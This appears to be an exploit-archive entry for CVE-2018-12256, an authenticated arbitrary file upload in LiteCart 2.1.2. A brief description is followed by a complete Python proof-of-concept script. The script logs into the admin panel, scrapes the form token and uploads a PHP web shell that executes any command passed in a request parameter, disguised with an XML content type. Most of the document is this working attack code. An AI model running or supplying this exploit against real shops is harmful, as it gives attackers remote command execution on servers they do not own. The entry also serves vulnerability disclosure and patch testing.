发布 2018-08-27 漏洞条目

LiteCart 2.1.2 – Arbitrary File Upload

Exploit Source

# Exploit Title: LiteCart 2.1.2 - Arbitrary File Upload

# Date: 2018-08-27

# Exploit Author: Haboob Team

# Software Link: https://www.litecart.net/downloading?version=2.1.2

# Version: 2.1.2

# CVE : CVE-2018-12256

# 1. Description

# admin/vqmods.app/vqmods.inc.php in LiteCart 2.1.2 allows remote authenticated attackers

# to upload a malicious file (resulting in remote code execution) by using the text/xml

# or application/xml Content-Type in a public_html/admin/?app=vqmods&doc=vqmods request.

# 2. Proof of Concept

#!/usr/bin/env python

import mechanize

import cookielib

import urllib2

import requests

import sys

import argparse

import random

import string

parser = argparse.ArgumentParser(description='LiteCart')

parser.add_argument('-t',

help='admin login page url - EX: https://IPADDRESS/admin/')

parser.add_argument('-p',

help='admin password')

parser.add_argument('-u',

help='admin username')

args = parser.parse_args()

if(not args.u or not args.t or not args.p):

sys.exit("-h for help")

url = args.t

user = args.u

password = args.p

br = mechanize.Browser()

cookiejar = cookielib.LWPCookieJar()

br.set_cookiejar( cookiejar )

br.set_handle_equiv( True )

br.set_handle_redirect( True )

br.set_handle_referer( True )

br.set_handle_robots( False )

br.addheaders = [ ( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]

response = br.open(url)

br.select_form(name="login_form")

br["username"] = user

br["password"] = password

res = br.submit()

response = br.open(url + "?app=vqmods&doc=vqmods")

one=""

for form in br.forms():

one= str(form).split("(")

one= one[1].split("=")

one= one[1].split(")")

one = one[0]

cookies = br._ua_handlers['_cookies'].cookiejar

cookie_dict = {}

for c in cookies:

cookie_dict[c.name] = c.value

rand = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(5))

files = {

'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"),

'token':one,

'upload':(None,"Upload")

}

response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)

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